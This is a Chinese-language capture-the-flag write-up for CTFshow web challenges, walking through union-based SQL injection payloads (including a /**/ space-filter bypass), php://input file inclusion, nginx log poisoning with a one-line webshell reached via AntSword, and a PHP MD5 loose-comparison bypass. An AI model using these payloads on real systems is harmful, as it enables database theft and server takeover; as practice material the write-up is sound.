CTF show----web 解题笔记(web签到~web6)

目录

web签到题

web2

考查点:

1.判断sql注入回显位置

2.查当前数据库名称

3.查看数据库表的数量

4.查表的名字

5.查flag表列的数量

6.查flag表列的名字

7.查flag表记录的数量

8.查flag表记录值

web3

web4

web5 

web6

web签到题

CTF show----web 解题笔记(web签到~web6)_第1张图片

where is flag? 直接F12去找一下 

CTF show----web 解题笔记(web签到~web6)_第2张图片

 找到   Y3Rmc2hvd3s1YzYyZWE0Mi04M2E5LTRhNDUtODRiMi00NzJkZGViZTcxNGF9

通过base64解密,拿到flag

CTF show----web 解题笔记(web签到~web6)_第3张图片

web2

查看了hint,直接使用hint中的payload

考查点:

  • 基本的SQL注入
  • 多表联合查询

在用户名处注入sql语句,密码随意

1.判断sql注入回显位置

 ' or 1=1 union select 1,2,3 limit 1,2;#--

CTF show----web 解题笔记(web签到~web6)_第4张图片

得到在2有一处回显

2.查当前数据库名称

 ' or 1=1 union select 1,database(),3 limit 1,2;#-- 

得到数据库名称web2

CTF show----web 解题笔记(web签到~web6)_第5张图片

3.查看数据库表的数量

' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#-- 

得到数据库表数量为2

4.查表的名字

第一个表:

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#-- 

得到表名:flag

CTF show----web 解题笔记(web签到~web6)_第6张图片

 第二个表:

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#-- 

得到表名:user

CTF show----web 解题笔记(web签到~web6)_第7张图片

5.查flag表列的数量

' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

只有1列

CTF show----web 解题笔记(web签到~web6)_第8张图片

6.查flag表列的名字

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

列名为flag

CTF show----web 解题笔记(web签到~web6)_第9张图片

7.查flag表记录的数量

' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#-- 

只有一条记录

CTF show----web 解题笔记(web签到~web6)_第10张图片

8.查flag表记录值

' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#-- 

得到flag

CTF show----web 解题笔记(web签到~web6)_第11张图片

web3

题目提示是一道php伪协议+文件包含的题目,通过get传递的参数是’url‘

 CTF show----web 解题笔记(web签到~web6)_第12张图片

使用Burp suite 抓包,发送给Repeater 

CTF show----web 解题笔记(web签到~web6)_第13张图片

构造php伪协议,通过url传递,?url=php://input

写入   

CTF show----web 解题笔记(web签到~web6)_第14张图片

写入   

CTF show----web 解题笔记(web签到~web6)_第15张图片

 发现在/var/www/html目录下有两个文件,ctf_go_go_go和index.php,传入cat  ctf_go_go_go查看,得到flag

CTF show----web 解题笔记(web签到~web6)_第16张图片

web4

CTF show----web 解题笔记(web签到~web6)_第17张图片

乍一看和web3很像,查看提示,这是一道日志注入的文件包含,通过查看Response Headers得知对方web服务器使用的是Ubuntu+nginx

CTF show----web 解题笔记(web签到~web6)_第18张图片

 直接尝试在url后传入参数?url=/var/log/nginx/access.log

查看nginx默认日志,回显access.log的内容 

CTF show----web 解题笔记(web签到~web6)_第19张图片

 启动Burp Suite抓包,在请求头中中写入一句话木马


CTF show----web 解题笔记(web签到~web6)_第20张图片

放包后通过蚁剑连接

CTF show----web 解题笔记(web签到~web6)_第21张图片

连接成功,并发现在/var/www下有flag.txt文件,查看该文件得到flag

CTF show----web 解题笔记(web签到~web6)_第22张图片

web5 

CTF show----web 解题笔记(web签到~web6)_第23张图片

 页面打开是一段代码,应该是一道代码审计题。关键代码如下:


ctype_alpha()函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否仅包含字母。如果字符串只包含字母,它返回true ,否则返回FALSE。
is_numeric() 函数用于检测变量是否为数字或数字字符串。如果字符串只包含数字,它返回true ,否则返回FALSE。

get传递两个参数,v1和v2,如果v1和v2条件判断都为真,且对v1和v2的MD5值进行碰撞结果为真,则返回flag,否则返回输出where is flag。

这里是利用了php中的MD5函数漏洞,php是弱类型语言,在使用==判断的时候,只会判断参数值,不会判断参数类型。使用下面的php函数来看

 从输出结果可以看到,str1和str2在php中的MD5用==判断是相等的,而实际上生成的是两段不一样的MD5值,两段MD5值都是0e开头的,在科学计数法中0e开头不管后边数是多少,他的数值都为0。

(参考md5加密介绍以及php中md5的漏洞 - 腾讯云开发者社区-腾讯云)

 操作:

同时传入参数,得到flag

?v1=QLTHNDT&v2=240610708

CTF show----web 解题笔记(web签到~web6)_第24张图片

web6

CTF show----web 解题笔记(web签到~web6)_第25张图片

出现登录窗口,猜测可能是SQL注入。bp抓包,修改username内容进行注入尝试。

CTF show----web 解题笔记(web签到~web6)_第26张图片

 发现注入失败,应该是sql注入,考虑换个绕过方式。

CTF show----web 解题笔记(web签到~web6)_第27张图片

使用/**/代替空格尝试绕过

CTF show----web 解题笔记(web签到~web6)_第28张图片

成功回显内容,说明对空格进行了过滤,可以使用/**/代替空格绕过

 CTF show----web 解题笔记(web签到~web6)_第29张图片

构造payload

1.找出回显位置

'/**/or/**/1=1/**/union/**/select/**/1,2,3#

 CTF show----web 解题笔记(web签到~web6)_第30张图片

 得到回显位置为2

CTF show----web 解题笔记(web签到~web6)_第31张图片

2.查找数据库名

'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

CTF show----web 解题笔记(web签到~web6)_第32张图片

 得到数据库名为web2

3.查询数据库内数据表名称

'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

CTF show----web 解题笔记(web签到~web6)_第33张图片

找到两个表,flag和user

4.查询flag表的字段

'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

CTF show----web 解题笔记(web签到~web6)_第34张图片

 flag表中有flag字段

5.查看flag字段中的内容

'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

 CTF show----web 解题笔记(web签到~web6)_第35张图片

得到flag 

你可能感兴趣的:(网络,安全)